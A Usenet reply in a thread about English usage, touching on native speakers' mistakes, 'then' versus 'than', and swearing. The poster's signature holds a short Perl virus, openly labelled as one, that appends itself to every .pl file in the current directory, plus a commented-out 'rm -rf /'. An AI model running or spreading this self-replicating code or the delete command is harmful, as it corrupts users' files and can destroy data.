Re: English sub - how freely translated?
Scripsit illa aut ille Disaster <disaster@disfanfic.net>:
> "Rudolf Polzer" <AntiATField_adsgohere@durchnull.de> wrote:
> > Scripsit illa aut ille Gatsby <s4008811@student.uq.edu.au>:
> > > It seems futile to have a debate over the use of the English language
> when one
> > > cannot even distinguish the difference and correct usage of "then" and
> "than".
> > >
> > > *sigh*
> >
> > The reason is simple. Native speakers know a language worst.
> >
> > But that's normal in Usenet. The best English is written by those who
> > always write "excuse my bad English". The worst one is written by native
> > speakers.
>
> Pfft, I would argue that native speakers are simply pushing the boundaries
> of linguistic evolution. Rather than just screwing it up.
It's both.
But don't tell me a language needs a word that can be substituted for
over 50% of the other words (I mean the f-word - and I am not talking
about _your_ English here).
But back to then/than: is there an ambiguity that can be produced using
them? I did not find any, so this mistake cannot even be funny and only
shows the writer is not too good at the language (or uses a keyboard
layout where e and a are near - Dvorak?), but that does not really
mean anything.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Fnews-brouse 1.9(20180406) -- by Mizuno, MWE <mwe@ccsf.jp>
GnuPG Key ID = ECC8A735
GnuPG Key fingerprint = 9BE6 B9E9 55A5 A499 CD51 946E 9BDC 7870 ECC8 A735